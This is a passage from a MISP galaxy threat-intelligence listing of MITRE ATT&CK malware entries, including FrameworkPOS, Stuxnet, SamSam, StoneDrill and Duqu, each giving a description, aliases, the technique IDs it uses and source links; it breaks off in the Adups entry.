[FrameworkPOS](https://attack.mitre.org/software/S0503) is a point of sale (POS) malware used by [FIN6](https://attack.mitre.org/groups/G0037) to steal payment card data from sytems that run physical POS devices.(Citation: SentinelOne FrameworkPOS September 2019)

The tag is: *misp-galaxy:mitre-malware="FrameworkPOS - S0503"*

FrameworkPOS - S0503 is also known as:

- FrameworkPOS
- Trinity

View relationships graph

FrameworkPOS - S0503 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Archive via Custom Method - T1560.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with

estimative-language:likelihood-probability="almost-certain"

Table 5279. Table References

Links
https://attack.mitre.org/software/S0503
https://labs.sentinelone.com/fin6-frameworkpos-point-of-sale-malware-analysis-internals-2/

Melcoz - S0530

[Melcoz](https://attack.mitre.org/software/S0530) is a banking trojan family built from the open source tool Remote Access PC. [Melcoz](https://attack.mitre.org/software/S0530) was first observed in attacks in Brazil and since 2018 has spread to Chile, Mexico, Spain, and Portugal.(Citation: Securelist Brazilian Banking Malware July 2020)

The tag is: *misp-galaxy:mitre-malware="Melcoz - S0530"*

Melcoz - S0530 is also known as:

- Melcoz

View relationships graph

Melcoz - S0530 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Browser Session Hijacking - T1185" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Transmitted Data Manipulation - T1565.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

Table 5280. Table References

Links
https://attack.mitre.org/software/S0530
https://securelist.com/the-tetrade-brazilian-banking-malware/97779/

zwShell - S0350

[zwShell](https://attack.mitre.org/software/S0350) is a remote access tool (RAT) written in Delphi that has been used by [Night Dragon](https://attack.mitre.org/groups/G0014).(Citation: McAfee Night Dragon)

The tag is: *misp-galaxy:mitre-malware="zwShell - S0350"*

zwShell - S0350 is also known as:

- zwShell

View relationships graph

zwShell - S0350 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"

Table 5281. Table References

Links
https://attack.mitre.org/software/S0350
https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf

BONDUPDATER - S0360

[BONDUPDATER](https://attack.mitre.org/software/S0360) is a PowerShell backdoor used by [OilRig](https://attack.mitre.org/groups/G0049). It was first observed in November 2017 during targeting of a Middle Eastern government organization, and an updated version was observed in August 2018 being used to target a government organization with spearphishing emails.(Citation: FireEye APT34 Dec 2017)(Citation: Palo Alto OilRig Sep 2018)

The tag is: *misp-galaxy:mitre-malware="BONDUPDATER - S0360"*

BONDUPDATER - S0360 is also known as:

- BONDUPDATER

View relationships graph

BONDUPDATER - S0360 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1568.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5282. Table References

Links
https://attack.mitre.org/software/S0360
https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/
https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html

FLASHFLOOD - S0036

[FLASHFLOOD](https://attack.mitre.org/software/S0036) is malware developed by [APT30](https://attack.mitre.org/groups/G0013) that allows propagation and exfiltration of data over removable devices. [APT30](https://attack.mitre.org/groups/G0013) may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)

The tag is: *misp-galaxy:mitre-malware="FLASHFLOOD - S0036"*

FLASHFLOOD - S0036 is also known as:

- FLASHFLOOD

View relationships graph

FLASHFLOOD - S0036 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Archive via Custom Method - T1560.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

Table 5283. Table References

Links
https://attack.mitre.org/software/S0036
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

SHOTPUT - S0063

[SHOTPUT](https://attack.mitre.org/software/S0063) is a custom backdoor used by [APT3](https://attack.mitre.org/groups/G0022). (Citation: FireEye Clandestine Wolf)

The tag is: *misp-galaxy:mitre-malware="SHOTPUT - S0063"*

SHOTPUT - S0063 is also known as:

- SHOTPUT
- Backdoor.APT.CookieCutter
- Pirpi

View relationships graph

SHOTPUT - S0063 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="Pirpi" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

Table 5284. Table References

Links
https://attack.mitre.org/software/S0063
https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html
https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html

Nebulae - S0630

[Nebulae](https://attack.mitre.org/software/S0630) Is a backdoor that has been used by [Naikon](https://attack.mitre.org/groups/G0019) since at least 2020.(Citation: Bitdefender Naikon April 2021)

The tag is: *misp-galaxy:mitre-malware="Nebulae - S0630"*

Nebulae - S0630 is also known as:

- Nebulae

View relationships graph

Nebulae - S0630 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5285. Table References

Links

https://attack.mitre.org/software/S0630
https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf

Stuxnet - S0603

[Stuxnet](https://attack.mitre.org/software/S0603) was the first publicly reported piece of malware to specifically target industrial control systems devices. [Stuxnet](https://attack.mitre.org/software/S0603) is a large and complex piece of malware that utilized multiple different behaviors including multiple zero-day vulnerabilities, a sophisticated Windows rootkit, and network infection routines.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: CISA ICS Advisory ICSA-10-272-01)(Citation: ESET Stuxnet Under the Microscope)(Citation: Langer Stuxnet) [Stuxnet](https://attack.mitre.org/software/S0603) was discovered in 2010, with some components being used as early as November 2008.(Citation: Symantec W.32 Stuxnet Dossier)

The tag is: *misp-galaxy:mitre-malware="Stuxnet - S0603"*

Stuxnet - S0603 is also known as:

- Stuxnet
- W32.Stuxnet

View relationships graph

Stuxnet - S0603 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Shared Modules - T1129" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Custom Method - T1560.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Default Accounts - T1078.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Execution Guardrails - T1480" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Accounts - T1078.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SQL Stored Procedures - T1505.001" with estimative-language:likelihood-probability="almost-certain"

Table 5286. Table References

Links
https://attack.mitre.org/software/S0603
https://us-cert.cisa.gov/ics/advisories/ICSA-10-272-01
https://www.esetnod32.ru/company/viruslab/analytics/doc/Stuxnet_Under_the_Microscope.pdf
https://www.langner.com/wp-content/uploads/2017/03/to-kill-a-centrifuge.pdf
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf

HAMMERTOSS - S0037

[HAMMERTOSS](https://attack.mitre.org/software/S0037) is a backdoor that was used by [APT29](https://attack.mitre.org/groups/G0016) in 2015. (Citation: FireEye APT29) (Citation: F-Secure The Dukes)

The tag is: *misp-galaxy:mitre-malware="HAMMERTOSS - S0037"*

HAMMERTOSS - S0037 is also known as:

- HAMMERTOSS
- HammerDuke
- NetDuke

View relationships graph

HAMMERTOSS - S0037 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="One-Way Communication - T1102.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Steganography - T1001.002" with estimative-language:likelihood-probability="almost-certain"

Table 5287. Table References

Links
https://attack.mitre.org/software/S0037
https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf
https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf

ASPXSpy - S0073

[ASPXSpy](https://attack.mitre.org/software/S0073) is a Web shell. It has been modified by [Threat Group-3390](https://attack.mitre.org/groups/G0027) actors to create the ASPXTool version. (Citation: Dell TG-3390)

The tag is: *misp-galaxy:mitre-malware="ASPXSpy - S0073"*

ASPXSpy - S0073 is also known as:

- ASPXSpy
- ASPXTool

View relationships graph

ASPXSpy - S0073 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"

Table 5288. Table References

Links
https://attack.mitre.org/software/S0073
https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage

SamSam - S0370

[SamSam](https://attack.mitre.org/software/S0370) is ransomware that appeared in early 2016. Unlike some ransomware, its variants have required operators to manually interact with the malware to execute some of its core components.(Citation: US-CERT SamSam 2018)(Citation: Talos SamSam Jan 2018)(Citation: Sophos SamSam Apr 2018)(Citation: Symantec SamSam Oct 2018)

The tag is: *misp-galaxy:mitre-malware="SamSam - S0370"*

SamSam - S0370 is also known as:

- SamSam
- Samas

View relationships graph

SamSam - S0370 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-

language:likelihood-probability="almost-certain"

Table 5289. Table References

Links
https://attack.mitre.org/software/S0370
https://blog.talosintelligence.com/2018/01/samsam-evolution-continues-netting-over.html
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-ransomware-chooses-Its-targets-carefully-wpna.pdf
https://www.symantec.com/blogs/threat-intelligence/samsam-targeted-ransomware-attacks
https://www.us-cert.gov/ncas/alerts/AA18-337A

StoneDrill - S0380

[StoneDrill](https://attack.mitre.org/software/S0380) is wiper malware discovered in destructive campaigns against both Middle Eastern and European targets in association with [APT33](https://attack.mitre.org/groups/G0064).(Citation: FireEye APT33 Sept 2017)(Citation: Kaspersky StoneDrill 2017)

The tag is: *misp-galaxy:mitre-malware="StoneDrill - S0380"*

StoneDrill - S0380 is also known as:

- StoneDrill
- DROPSHOT

View relationships graph

StoneDrill - S0380 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disk Structure Wipe - T1561.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disk Content Wipe - T1561.001" with estimative-language:likelihood-probability="almost-certain"

Table 5290. Table References

Links
https://attack.mitre.org/software/S0380
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf
https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html

Duqu - S0038

[Duqu](https://attack.mitre.org/software/S0038) is a malware platform that uses a modular approach to extend functionality after deployment within a target network. (Citation: Symantec W32.Duqu)

The tag is: *misp-galaxy:mitre-malware="Duqu - S0038"*

Duqu - S0038 is also known as:

- Duqu

View relationships graph

Duqu - S0038 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Archive via Custom Method - T1560.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="Duqu" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Steganography - T1001.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5291. Table References

Links
https://attack.mitre.org/software/S0038
https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf

Misdat - S0083

[Misdat](https://attack.mitre.org/software/S0083) is a backdoor that was used by [Dust Storm](https://attack.mitre.org/groups/G0031) from 2010 to 2011. (Citation: Cylance Dust Storm)

The tag is: *misp-galaxy:mitre-malware="Misdat - S0083"*

Misdat - S0083 is also known as:

- Misdat

View relationships graph

Misdat - S0083 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="Misdat" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5292. Table References

Links
https://attack.mitre.org/software/S0083
https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf

Adups - S0309

[Adups](https://attack.mitre.org/software/S0309) is software that was pre-installed onto Android devices, including those made by BLU Products. The software was reportedly designed to help a Chinese phone manufacturer monitor user behavior, transferring sensitive data to a Chinese server. (Citation: NYTimes-BackDoor) (Citation: BankInfoSecurity-BackDoor)

